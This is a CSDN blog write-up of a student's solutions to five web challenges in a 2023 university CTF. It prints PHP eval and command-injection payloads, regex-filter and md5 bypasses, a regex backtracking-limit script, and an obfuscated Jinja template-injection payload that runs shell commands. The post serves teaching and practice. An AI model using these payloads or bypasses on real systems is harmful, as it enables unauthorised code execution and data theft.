2023 Aurora第一批入会赛 Writeup

已于 2023-10-30 00:10:14 修改
阅读量361 收藏
点赞数
分类专栏： 我的CTF之路 文章标签： web安全 网络安全 php
于 2023-10-29 23:41:14 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/caterpie_771881/article/details/134109868
版权

前言

首次参加 CTF 比赛，虽然是校内比赛，难度不算太高，但还是显得准备不足。尤其是 php 部分，由于此前从未接触过 php，很多关于 php 特性的题目都卡了很久。

WEB

[easy]Welcome

一道很简单的 php 全局数组嵌套题, 对我来说难点在于: 如何在 HTTP 报文中表示一个 php 关联数组

第一步，分析题目

打开 url 后获取内容如下

<?php
highlight_file(__FILE__);
error_reporting(0);

eval($_REQUEST[$_POST[$_GET[$_COOKIE['Welcome']]]]['t']['o']['A']['u']['r']['o']['r']['a']);

?>

首先判断可攻击语句, 发现含有 eval 函数, 该函数能将字符串转换为 php 代码并执行, 是危险函数
于是我们的目标就是使 eval 函数执行用户输入的代码
想要做到这一点, 必须深入分析

eval($_REQUEST[$_POST[$_GET[$_COOKIE['Welcome']]]]['t']['o']['A']['u']['r']['o']['r']['a']);
  1. $_COOKIE['Welcome'] 会被替代为 cookies 中名为 Welcome 的变量的值, 于是在请求头中添加 cookie: Welcome=a
  2. 在将 $_COOKIE['Welcome'] 替换为 a 后, $_GET[a] 会被替代为 get 请求参数 中参数名为 a 的值, 故在请求 url 后添加查询参数 ?a=b
  3. 依次类推 $_POST[b] 可以在请求体中添加 b=c, 重点是如何使 $_REQUEST[c] 成为一个 php 的关联数组

重点: 可以在 HTTP 请求报文中, 以 array[index_1][index_2][index_3]=value 的方式构造关联数组

第二步, 构造 HTTP 请求报文

使用 Burp Suite 抓包, 获取请求报文, 然后将其发送到 Repeater 中

GET / HTTP/2
Host: 4b7c9300-1515-4d47-b2fb-4941267425e7.actf-node.szu.moe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

然后根据第一步进行构造:

POST /?a=b HTTP/2
Host: 4b7c9300-1515-4d47-b2fb-4941267425e7.actf-node.szu.moe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/x-www-form-urlencoded
Cookie: Welcome=a
Content-Length: 38

b=c&c[t][o][A][u][r][o][r][a]=echo hi;

可以看到成功执行了 echo hi
在这里插入图片描述

接下来将 echo hi; 更换为特定的命令, 即可获取 flag；

  • 使用 system('ls /'); 发现根目录有可疑文件
    请添加图片描述
  • 使用 system('cat /flaggggaaaeeeiiou'); 读取文件, 成功 Capture The Flag!
    在这里插入图片描述

[easy]Listen to Me

第一步, 下载音乐, 并分析隐含内容

我习惯挂着 Burp Suite 做题, 所以一眼看到网页源码里引用了两个路径
请添加图片描述
一个是图片 hariki.jpg, 另一个是音乐 Axium_Crisis.mp3
引入图片是方式是 url(‘hikari.jpg’), 没法直接知道路径, 但是引用音乐使用的应该是相对路径, 说明这个音乐和当前页面同级, 于是访问 /Axium_Crisis.mp3 路由下载音乐
在这里插入图片描述然后根据题面, 我想是不是要将音乐转换为二进制再从中提取 flag, 然后就跑去搜: “音频隐写”
结果搜到了一个叫作 “mp3隐写” 的玩意, 里面提到了一种做法: 把mp3文件后缀名改为txt, 在里面找 password, 然后就发现文件末尾有一段 php 代码(笑死,一开始我还在想是不是把密码学的题出到web来了,直到看见这段 php)

<?php
    if(isset($_POST['pass'])){
        $pass = $_POST['pass'];
        if(md5($pass)==='80e0b2a2c1a1d6d47f9a9ff573c08c42'){
            echo exec("nc".$_POST['Tairitsu']);
        }
    }
    //index.php
?>
第二步 分析泄露的 php 代码, 找到可攻击的漏洞

分析这段 php 代码, 发现里面有一个不安全语句
echo exec("nc".$_POST['Tairitsu']);
这句话能让我们通过构造 post 载荷, 来使靶机执行我们想要的命令
但是要让 php 执行这段代码, 需要过两关:
1、post 关键字中要有 pass: if(isset($_POST['pass']))
2、pass 中携带的信息经 md5 加密后, 为 80e0b2a2c1a1d6d47f9a9ff573c08c42: if(md5($pass)==='80e0b2a2c1a1d6d47f9a9ff573c08c42')

第三步 确定 pass

其实就是一个输入密码的过程, pass 里面是密码, 密码对了, 你就能利用 exec 函数操作靶机
那密码是啥, 把代码中给出的 md5 字符串解密一下即可:
在这里插入图片描述

第四步 构造 Tairitsu

现在问题只剩下一个, 就是如何构造攻击载荷, 使echo exec("nc".$_POST['Tairitsu']);执行我们想要的命令
一开始我想的是用 ncat 进行反弹 shell, 因为 exec 后面跟了 nc 命令, 但是失败了, 然后尝试先用分号隔开 nc, 后面跟上其它命令, 成功
请求报文如下:

POST /index.php HTTP/2
Host: 189d720a-2853-42d2-b90c-8a0c3aad316f.actf-node.szu.moe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

pass=hikari&Tairitsu=;cd /;echo *

结果如下:
在这里插入图片描述
可以看到根目录包含的文件/文件夹被打印出来了
发现可疑文件 fl3gaaa 于是使用 payload: Tairitsu=;cd /;cat fl3gaaa 查看其内容
在这里插入图片描述
成功 Capture The Flag!

[medium]ezrce

第一步, 绕过限制, 获取页面源码

打开 url 后是以下页面
在这里插入图片描述
使用 Burp Suite 查看源码, 发现禁用了很多查看页面源代码的方式
但是由于用了 Burp Suite, 全都绕过了, 不需要理会(笑)

HTTP/1.1 200 OK
Server: nginx/1.17.10
Date: Sun, 29 Oct 2023 10:27:26 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 463
Connection: close
Content-Encoding: gzip
Vary: Accept-Encoding
X-Powered-By: PHP/7.4.33

<p style="font-family:arial;color:black;font-size:20px;text-align:center;">前端做得很low 请各位见谅Orz</p>
<p style="font-family:arial;color:black;font-size:30px;text-align:center;">Flag不在这里哦</p>
</body>
<!--try /shell.php-->
<script>
 document.οncοntextmenu=function() {
   alert("右键被禁用");
   return false;
  };
 document.onkeydown = function(e) {
    e = window.event || e;
    var k = e.keyCode;
    //屏蔽ctrl+u，F12键
    if ((e.ctrlKey == true && k == 85) || k == 123) {
      if (k == 85)
        alert("Ctrl+U被禁用!");
      else 
        alert("F12被禁用!");
      e.keyCode = 0;
      e.returnValue = false;
      e.cancelBubble = true;
      return false;
    }
 }
</script>

在源码中发现Hint: <!--try /shell.php-->
于是访问 url/shell.php, 获取内容如下:

<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['param1']?$_GET['param1']:'';
$b = $_GET['param2']?$_GET['param2']:'';
if($a!==$b&&md5($a)===md5($b)){
    if(isset($_GET['cmd'])){
        $cmd = $_GET['cmd'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|system|exec|shell_exec|tac|od|vi|vim/i", $cmd)){
            system($cmd);
        }
        else{
            die("Hacker!");
        }
    }
}
else{
    echo "Try hard!";
}
?>
Try hard!
第二步, 分析代码

首先发现不安全代码, 这是我们攻击的目标

$cmd = $_GET['cmd'];
...
system($cmd)

要成功执行这段代码, 需要过两关:
1.传入两个查询参数 param1 和 param2, 并且这两个参数需要满足

$a = $_GET['param1']?$_GET['param1']:'';
$b = $_GET['param2']?$_GET['param2']:'';
...
$a!==$b&&md5($a)===md5($b)

即找到两个字符串, 二者不相同但是经过 md5 加密后相同
这里有两种做法, 第一种是使用 md5 硬碰撞, 找到两串满足条件的字符串, 这个方法可以但不建议; 第二种方法是使用数组传参绕过, 原理是php数组在经过 md5 加密后结果都是 null
2.要绕过以下正则表达式

(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|system|exec|shell_exec|tac|od|vi|vim/i", $cmd))

可以发现该正则表达式过滤了大量关键字, 并且过滤了 所有数字、$符号、分号与空格 等等
关键字的过滤可以使用 关''键字 或者 关\键字 的方式绕过
空格的过滤可以使用 <>、%20、%09 等方式绕过
注: <> 有些时候无法使用, %09 虽然包含了数字, 但不会被检测数字的正则表达式拦, 查百度也看到了使用 {a,b} 的方式来绕过空格, 但是测试发现这题用不了这个方法

第三步, 根据分析, 构造pyload

可以构造 pyload: url/shell.php?param1[]=1&param2[]=2&cmd=ls%09/ 来查看根目录的所有文件
在这里插入图片描述
最后使用 url/shell.php?param1[]=1&param2[]=2&cmd=c’‘at%09/f’'lag 获取flag
在这里插入图片描述

[medium]JustPHP

第一步, 分析代码

访问 url 后获取内容如下:

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    include('flag.php');
    //do you know some function about PHP?
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==2333){
            die("No No No!");
        }
        if(preg_match("/[a-zA-z]|\./i", $num)){
            die("No No No!");
        }
        if(intval($num, 0) === 2333){
            echo "Level 1 OK!";
            echo "<br>";
            if(isset($_POST['ikun'])){
                $ikun = $_POST['ikun'];
                if(substr($ikun, 0, 4)==='ikun'&&substr($ikun, -11, 11)==='luchujijiao' && $ikun !== 'ikunluchujijiao'){
                    if(preg_match('/ikun.+?luchujijiao/is' , $ikun)){ //what is it? Are there some ways to bypass this preg_match? Maybe an article written by leavesong can give you answer.
                        die("你是假ikun!");
                    }
                    else{
                        echo "giegie很满意, 决定给你flag: ";
                        echo "<br>";
                        echo $flag;
                    }
                }
                else{
                    die("你是假ikun!");
                }
            }
            else{
                echo "You are not an ikun!";
            }
        }
        else{
            echo "nonono!";
            echo "<br>";
        }
    }
    else{
        echo "Give me a num.";
        echo "<br>";
    }
    
?> Give me a num.

代码比较长, 粗略分析可以知道, 这题需要过两关才能获得 flag

第二步, 过第一关

在这里插入图片描述
第一关需要我们传入一个查询参数 num, 并且需要满足三个条件

  1. num 本身不等于 2333
  2. 不包含大小写字母和小数点
  3. 经过 intval($num, 0) 变换后与 2333 相等

这里需要利用 intval 的特性来过关, intval 是 php 中用于获取变量整数值的函数, 语法如下:

intval(var, base)
// var指要转换成 integer 的数量值,base指转化所使用的进制
// 如果 base 是 0，通过检测 var 的格式来决定使用的进制：
// 如果字符串包括了 "0x" (或 "0X") 的前缀，使用 16 进制 (hex)；
// 如果字符串以 "0" 开始，使用 8 进制(octal)；
// 否则将使用 10 进制 (decimal)。

如此, 我们便可以使用 2333的八进制 来通过这个关卡, 传参 num=04435 即可

第三步, 过第二关

在这里插入图片描述
第二关需要我们传入一个名为 ikun 的 post 参数
这个参数需要满足:

  1. 前4个字符是 ikun, 后11个字符是 luchujijiao
  2. 正则匹配 preg_match('/ikun.+?luchujijiao/is' , $ikun) 需要返回 False, 但是这个正则表达式在匹配到形如 ikun + 任意字符串 + luchujijioa 的字符串后会返回 True

乍一看这是个不可能完成的任务, 第一个条件把 ikun 的形式锁死了: 必须是 ikun + xxx + luchujijiao, 但是这样又会被题中的正则表达式判定为 True
这里可以利用php则表达式的回溯上限来绕过, 我们使用 ikun=ikun + 超长字符串 + luchujijiao 来让正则表达式在匹配时超出其回溯上限, 这样的话php会防止代码超时而返回 False
由于 php 的回溯上限一般在 10的6次方 左右, 我们可以利用以下 python 脚本来获取 flag

import requests

url = "https://85f28e51-3244-47bc-adef-554ce20a19f3.actf-node.szu.moe/?num=04435"
data = {'ikun': 'ikun' + 'a' * (10**6 + 1) + 'luchujijiao'}

response = requests.post(url=url, data=data, verify=False)
print(response.text)

在这里插入图片描述
成功 Capture The Flag!

[medium]normalssti

第一步, 判断是否存在模板注入

访问题目 url, 能看到如下页面
在这里插入图片描述这里盲猜可以使用查询参数来传入 name, 于是尝试 url/?name=测试
在这里插入图片描述初步判断该网页使用了模板, 将变量 name 的内容渲染到了页面中, 接下来判断是否存在模板注入, 于是尝试 url/?name={{2*2}}
在这里插入图片描述可以发现页面中没有把 {{2*2}} 渲染出来, 而是将 2*2 给执行了, 说明存在模板注入

第二步, 绕过关键字进行模板注入

根据题目提示可以知道限制了很多关键词, 包括 _、class、init 等
我们从原始 pyload 入手, 慢慢将限制绕过
原始 pyload:

''.__class__.__base__.__subclasses__()[100].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cmd').read()")

先解释一下这个 pyload

  • __class__ 获取对象的类
  • __base__ 获取指定类的父类
  • __subclasses__() 返回一个由 “该类的所有派生类” 组成的列表
  • __init__ 初始化方法, 返回一个对象
  • __globals__ 返回一个由 “当前命名空间下所有变量和函数” 组成的字典
  • 最后获取 eval 函数, 并在其中获得 os 模块, 以操作靶机的 shell

我们可以通过更改 payload 中 cmd 处的内容来让靶机执行我们的恶意命令, 从而获取 flag
那么要怎么绕过限制呢?经测试, 上述 pyload 中所有关键词均被拦截, 例如 class
在这里插入图片描述

  • 对于被禁用的关键词, 我们可以使用字符串拼接的方式绕过, 例如 ''c__class__ 可替换为 ''["__cla"+"ss__"]
  • 对于被禁用的下划线, 我们可以使用其十六进制作为替代: \x5f

于是我们可以利用以下 python 脚本来构造 pyload

shell = "''.__class__.__base__.__subclasses__()[100].__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('cmd').read()\")"
print(shell)

shell = shell.replace(".__class__", "[\"__cla\"+\"ss__\"]")
shell = shell.replace(".__base__", "[\"__ba\"+\"se__\"]")
shell = shell.replace(".__subclasses__", "[\"__subcla\"+\"sses__\"]")
shell = shell.replace(".__init__", "[\"__in\"+\"it__\"]")
shell = shell.replace(".__globals__", "[\"__glo\"+\"bals__\"]")
shell = shell.replace(".__builtins__", "[\"__bui\"+\"ltins__\"]")
shell = shell.replace("eval", "ev'+'al")
shell = shell.replace("\"__import__('os').popen('cmd').read()\"", "\"__imp\"+\"ort__('o'+'s').po\"+\"pen('cmd').re\"+\"ad()\"")

shell = shell.replace("_", "\\x5f")
print(shell)

最终 pyload: name={{''["\x5f\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"se\x5f\x5f"]["\x5f\x5fsubcla"+"sses\x5f\x5f"]()[100]["\x5f\x5fin"+"it\x5f\x5f"]["\x5f\x5fglo"+"bals\x5f\x5f"]["\x5f\x5fbui"+"ltins\x5f\x5f"]['ev'+'al']("\x5f\x5fimp"+"ort\x5f\x5f('o'+'s').po"+"pen('cmd').re"+"ad()")}}
将 cmd 替换为, ls /, 查看根目录文件
在这里插入图片描述
可以发现可疑文件 Aurora, 使用 cat /Aurora 后发现没有输出, 判断这是个文件夹, 于是使用 ls /Aurora 来查看其内容
在这里插入图片描述
可以看到 flag 在 /Aurora 中, 最后使用 cat /Aurora/flaaaagggg 成功 Capture The Flag!
在这里插入图片描述

柳生芽星
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
第四届红帽杯网络安全大赛-线上赛Writeup1
08-03
第四届红帽杯络安全赛-线上赛Writeup 第四届红帽杯络安全赛 - 线上赛 Writeup 第四届红帽杯络安全赛-线上赛Writeup 第四届红帽杯络安全赛-
2023 强网杯 Writeup
01-29
2023 强网杯 Writeup 是一篇关于 Capture The Flag（CTF）的 writeup，内容涵盖了多个挑战题目，涉及到 Python、 Cryptography、Reverse Engineering、Web 等多个领域。下面是对每个挑战题目的详细分析和知识点总结...
2023年春秋杯网络安全联赛冬季赛 Writeup
末初的CSDN博客
01-22 5248
2023年春秋杯网络安全联赛冬季赛 Writeup
2023 Real World CTF体验赛部分Writeup
Keepb1ue的博客
01-09 2983
2023 Real World CTF体验赛部分Writeup
2023第五届 Real World CTF 体验赛 Writeup（web）
一只爱吃橙子的羊
01-12 2532
2023第五届 Real World CTF 体验赛 Writeup（web）
2023第二届陇剑杯网络安全大赛 预选赛Writeup
末初的CSDN博客
08-28 6065
2023第二届陇剑杯网络安全大赛 预选赛Writeup
2020 第三届江西省高校网络安全技能大赛 线上赛Writeup
末初的CSDN博客
08-29 6077
第三届江西省高校网络安全技能大赛 线上赛Writeup
自己ctf比赛的writeup.zip
10-01
在CTF（Capture The Flag）比赛中，Writeup通常是指参赛者对比赛过程、解题思路以及解决方案的详细记录。这个“自己ctf比赛的writeup.zip”文件很可能包含了作者在参与CTF比赛时的全部心得体验，包括但不限于解题...
阿里云ctf比赛writeup
04-26
阿里云CTF比赛Writeup详解 在网络安全领域，Capture The Flag（CTF）是一种常见的竞赛形式，参赛者通过解决各种安全挑战来展示他们的技术能力。阿里云CTF比赛提供了多种类型的挑战，包括Web、Misc、Pwn、Reverse和...
一些比赛或练习的writeup.zip
10-01
【标题】"一些比赛或练习的writeup.zip" 暗示了这是一个包含关于网络安全竞赛或练习解决方案的压缩文件。通常在网络安全领域，"Writeup"是指参赛者或团队完成挑战后，对解决过程和思路的详细记录，用于分享学习和...
web安全之跨站脚本攻击xss
奔跑的小猪仔
07-17 516
xss 跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意js代码，当用户浏览该页之时，嵌入其中web里面的js代码会被执行，从而达到恶意的特殊目的。
【网络安全】基于PHP study的DVWA靶场搭建教程
等风来
07-14 442
接着访问：http://127.0.0.1/dvwa-master，拉到页面最下面点击Create/Reset Databse 跳转至该页面后，输入admin、password即可登录：
网络安全-网络安全及其防护措施8
LS_Ai的博客
07-17 911
数据中心网络架构是指数据中心内部网络的设计和结构，其目的是提供高性能、高可用性和高扩展性的网络连接。合理的数据中心网络架构能够支持大规模数据处理和传输，满足数据中心的业务需求，提高整体运营效率。负载均衡是一种分配网络流量和计算任务的方法，旨在优化资源利用率、提高系统性能和增强服务可用性。通过将请求分配到多个服务器上，负载均衡避免了单点故障和性能瓶颈，确保系统稳定和高效运行。网络安全策略是指为保护网络和信息系统的安全而制定的一系列规则和措施。
等保测评助力网络安全治理现代化
waitaikong_的博客
07-14 339
等保测评，即信息安全等级保护测评，是依据国家相关法律法规和标准，对信息系统进行安全等级划分和安全性能评估的过程。它涵盖了从技术到管理、从人员到流程的多维度评估，旨在确保信息系统在面对各种威胁时的安全性和可靠性。随着网络技术的发展和网络安全形势的变化，等保测评在网络安全治理现代化中扮演着越来越重要的角色。
网络安全法律框架更新：最新合规要求与企业应对策略
2301_79955948的博客
07-14 911
首先，企业应提升网络安全意识，完善责任制度，并关注新法律法规的协调衔接。2022年，《网络安全法》迎来了首次修改，这一修订主要是为了与《数据安全法》和《个人信息保护法》等新实施的法律进行衔接协调，完善法律责任制度，进一步保障网络安全。新规定对原有的触发条件进行了优化，例如，关键信息基础设施运营者向境外提供个人信息或重要数据，以及特定数量的个人信息或敏感个人信息的跨境传输，都需要进行安全评估。通过上述措施，企业不仅能够提升自身的网络安全防护能力，还能促进国内网络安全产业的高质量发展，为国家网络安全贡献力量。
2024年对网络安全专业的观点解析
最新发布
goodxianping的专栏
07-17 252
网络安全专业的毕业生能够适应多个行业和岗位，包括但不限于政府部门、金融机构、大型互联网公司、电信运营商、科研机构的安全团队。学历较低、经验不足的大量初级从业人员与企业的需求不匹配，一方面找工作难，一方面企业招聘不到合适的安全人员，导致供需矛盾。在网络安全领域，学历并非衡量一个人能力的唯一标准，但普遍较低的学历水平确实反映了行业人才结构的某些问题。张雪峰对网络安全专业的看法是积极和乐观的。随着信息时代的到来，各类企业和组织对网络安全的需求越来越大，使得该专业的毕业生在市场上拥有很大的需求量。
7.13实训日志
Kidding_Ma的博客
07-13 484
作为一名大学生，我深感有责任在今后的学习和职业生涯中，为推动网络安全技术的发展和应用做出贡献，保障数字化社会的安全和稳定发展。在技术方面，我们学习了多种编程语言和工具的应用，如Python用于爬虫和脚本、Java用于代码审计和漏洞挖掘、C语言用于二进制漏洞挖掘等。会上，专家学者们分享了关于网络安全最新的研究成果和技术应用，以及面临的挑战和未来的发展方向，给我留下了深刻的印象和启发。学习网络安全的过程中，我们深入了解了网络的不同层面和技术，从表层网络到深网再到暗网，以及涉及的产业分类和技术工具。
网络安全工作者如何解决网络拥堵
gmqqcsdn的博客
07-15 811
网络如同现代社会的血管，承载着信息的血液流动。然而，随着数据流量的激增，网络拥堵已成为不容忽视的问题，它像是一场数字世界的交通堵塞，减缓了信息传递的速度，扰乱了网络空间的秩序。作为网络安全的守护者，网络安全工作者必须运用战略智慧和技术手段，解决这一难题，确保每一位用户都能享受流畅的在线体验。
企业安全性的新前沿：智能合约在网络安全中的角色
weixin_44672358的博客
07-15 552
智能合约是一种以代码形式存在的自动化合约，运行在区块链上。它们通过预先编程的规则和条件执行，并在满足特定条件时自动执行相关操作。智能合约可以实现自动化、透明和不可篡改的交易和协议，因此被广泛应用于金融、供应链管理和物联网等领域。智能合约作为区块链技术的一项创新应用，为企业安全性带来了新的前沿和解决方案。它不仅提升了传统安全措施的效率和效果，还为企业在面对复杂和多变的网络安全威胁时提供了全新的应对方式。随着技术的进一步发展和普及，智能合约有望在企业安全性保护中发挥越来越重要的角色。
2021强网杯Writeup--by Nu1L Team.pdf
06-15
"2021强网杯Writeup--by Nu1L Team.pdf" 是一份关于第五届“强网杯”全国网络安全挑战赛的赛后分析报告，由Nu1L团队编写。报告涵盖了多个网络安全领域的挑战，包括CTF（Capture The Flag）竞赛、网络安全和信息安全...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值